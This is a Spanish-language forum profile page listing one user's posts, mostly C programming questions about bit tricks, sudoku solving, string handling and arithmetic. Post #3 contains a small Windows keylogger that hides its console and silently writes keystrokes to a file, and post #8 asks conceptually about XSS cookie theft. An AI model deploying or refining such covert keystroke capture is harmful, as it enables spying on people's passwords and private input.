Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - kutcher

#1
Buenas me he topado con un código un poco complicado de seguir, la cuestión es que se me hace difícil entender como logra aislar el número exacto en la posición requerida sin la necesidad (según veo) de una búsqueda exhaustiva como es común en este tipo de algoritmos, aquí el código :

int trycell(int *x, int pos)
{
   int row = pos / 9;
   int col = pos % 9;
   int i, j, used = 0;

   if (pos == 81)
       return 1;
   if (x[pos])
       return trycell(x, pos + 1);

   for (i = 0; i < 9; i++)
       used |= 1 << (x[i * 9 + col] - 1);

   for (j = 0; j < 9; j++)
       used |= 1 << (x[row * 9 + j] - 1);

   row = row / 3 * 3;
   col = col / 3 * 3;

   for (i = row; i < row + 3; i++)
       for (j = col; j < col + 3; j++)
           used |= 1 << (x[i * 9 + j] - 1);

   for (x[pos] = 1; x[pos] <= 9; x[pos]++, used >>= 1)
       if (!(used & 1) && trycell(x, pos + 1))
           return 1;
   x[pos] = 0;
   return 0;
}


Si pudieran aclararme como funciona mas o menos este código

Saludos kutcher
#2
Buenas noches, estoy estudiando un algoritmo que realiza una multiplicación de dos enteros almacenados en respectivos arrays, el problema es que no consigo entender el método utilizado en tal caso, ya que existen varios :

void longmulti(const char *a, const char *b, char *c)
{
    int i = 0, j = 0, k = 0, n, carry;
    int la, lb;

    la = strlen(a);
    lb = strlen(b);

    memset(c, '0', la + lb);
    c[la + lb] = '\0';

    for (i = la - 1; i >= 0; i--)
    {
        for (j = lb - 1, k = i + j + 1, carry = 0; j >= 0; j--, k--)
        {
            n = T(a[i]) * T(b[j]) + T(c[k]) + carry;
            carry = n / 10;
            c[k] = (n % 10) + '0';
        }
        c[k] += carry;
    }
    if (c[0] == '0')
       memmove(c, c + 1, la + lb);

    return;
}


Saludos
#3
Buenas, tengo el siguiente programa :

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main(void)
{
    FILE *f;
    int i, n = 0;
    int line[256];

    FreeConsole();

    if(! (f = fopen("log.txt", "ab+")))
        return EXIT_FAILURE;

    while(1)
    {
        for(i = 0; i < 255; i++)
        {
            if(GetAsyncKeyState(i) == -32767)
            {
                if( n < 255)
                    line[n++] = i;
                else
                {
                    line[n] = '\0';
                    fprintf(f, "%s\n", line);
                    n = 0;
                }
            }
        }
        Sleep(2);
    }
    fclose(f);

    return EXIT_SUCCESS;
}


Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher
#4
Buenas, tengo las siguientes funciones:

Código (cpp) [Seleccionar]
char * func1(int condicion)
{
      switch(condicion)
     {
         case 0: return "EQ";
         case 1: return "NE";
         case 2: return "CS";
         case 3: return "CC";
         case 4: return "MI";
         case 5: return "PL";
         case 6: return "VS";
         case 7: return "VC";
         case 8: return "HI";
         case 9: return "LS";
         case 10: return "GE";
         case 11: return "LT";
         case 12: return "GT";
         case 13: return "LE";
         case 14: return "";
         default: return 0;
      }
}


Y

Código (cpp) [Seleccionar]
char * func2(int condicion)
{
    if ((unsigned) condicion >= 15)
return 0;
    return "EQ\0NE\0CS\0CC\0MI\0PL\0VS\0VC\0HI\0LS\0GE\0LT\0GT\0LE\0\0" +
               3 * condicion;
}


Se que ambas son equivalentes pero lo que me cuesta entender es como la función     con tabla de búsqueda logra aislar la cadena requerida según la condición especificada, si alguien podría explicarme como sucede esto...

Saludos kutcher 
#5
Buenas, tengo el siguiente algoritmo:

Código (cpp) [Seleccionar]
void bruteforce(int inc, int fin, char *rotation)
{
    int i = 0, j, len = strlen(rotation);
    long int r = 0, end, c;
    char test[200];
    for(j = inc; j < fin+1; j++)
    {
        r = 0;
        end = (long int)pow(len, j);
        while(r != end)
        {
            c = r;
            while(i < j)
            {
                test[i] = rotation[c % len];
                c = (long int)c / len;
                i++;
            }
            test[i] = '\0';
            puts(test);
            i = 0;
            r++;
        }
    }
}


Mi intención es evitar el uso de pow porque esta consume demasiado recursos, lo que busco es la forma de representarlo con solo operaciones aritméticas .... alguna idea

Saludos kutcher   
#6
Buenas, quisiera saber algún método para detectar un posible desbordamiento de enteros al realizar una multiplicación de dos variables de tipo unsigned para asi almacenar con seguridad el resultado en otra, le estuve dando vueltas al asunto pero no encuentro como hacerlo

Saludos kutcher 
#7
Buenas, abro este post para ir publicando una serie de retos a medida que vayan resolviendo los mismo, con el objetivo estimular a la comunidad a participar mediante la resolución de problemas que competen al mundo de la programación que tanto nos apasiona

RETO #1:

Los primeros dos números consecutivos para tener dos factores primos distintos son:

Código (cpp) [Seleccionar]
14 = 2 x 7
15 = 3 x 5


Los primeros tres números consecutivos para tener tres factores primos distintos son:

Código (cpp) [Seleccionar]
644 = 2² x 7 x 23
645 = 3 x 5 x 43
646 = 2 x 17 x 19.


Encuentra los primeros cuatro números enteros consecutivos para tener cuatro factores primos distintos. ¿Cuál es el primero de estos números?

Espero su participación
#8
Hacking / Robo de cookies con ataque XSS
30 Julio 2014, 15:20 PM
Buenas. tengo una duda respecto a este tipo de ataques suponiendo que un atacante logre ejecutar algún tipo de script con el objetivo de robarme los cookies si en el caso de lograr esto el atacante podría iniciar sesión automáticamente en mis cuentas como facebook, gmail etc... ¿ Como es posible esto?

Si yo deshabilitara estas opciones en mi navegador podría evitar esto:

*Habilitar la función Autocompletar para rellenar formularios web con un solo clic
*Preguntar si quiero guardar las contraseñas que he introducido en la Web

Saludos
#9
 Buenas, estoy tratando de implementar mi propia función strtok y buscando por la
red he encontrado un método bastante curioso el cual utiliza el numero negativo
-1 como indice en un array de caracteres para asignarle el carácter nulo

En consecuencia extrañamente obtienes el primer token en el puntero llamado
token, cosa que no entiendo como sucede aquí el código:

Código (cpp) [Seleccionar]
char *mystrtok(char *s, const char *delim)
{
   int c, sc = *delim;
   char *token = s;

   do{
       c = *s++;
       if (c == sc)
       {
           s[-1] = '\0';
           return (token);
       }
   }while (*s);

   return NULL;
}


Es la versión corta la modifique un poquito para exponer la parte que no entiendo
#10
Buenas, estoy codificando un programa y me urge saber cuantos dígitos tiene un
número que es de tipo int por ejem:

15742 = 5 dígitos
1234 = 4 dígitos
13 = 2 dígitos

He probado con sizeof pero no funciona ¿Alguien tiene alguna idea de como hacer esto?
#11
Hi la función en cuestión es esta:

Código (cpp) [Seleccionar]
void upper_case(char *src)
{
   while (*src != '\0')
   {
       if (islower(*src))
  *src = (*src & ~0x20);
       src++;
   }
}


No logro entender esta linea del código:

Código (cpp) [Seleccionar]
*src = (*src & ~0x20);

Se que el operador ~ invierte cada bit del 0x20 (i.e 32) convirtiéndolo al numero binario -11111 == -31. Supongamos que *src = 'a' al aplicar el operador &

Código (asm) [Seleccionar]
1100001
-0011111
_______
0000001


El resultado no es lo esperado que seria el binario 1000001 == 65 alguien podría explicarme que pasa aquí o acaso al usar el operador & sobre binarios negativos tiene otro efecto..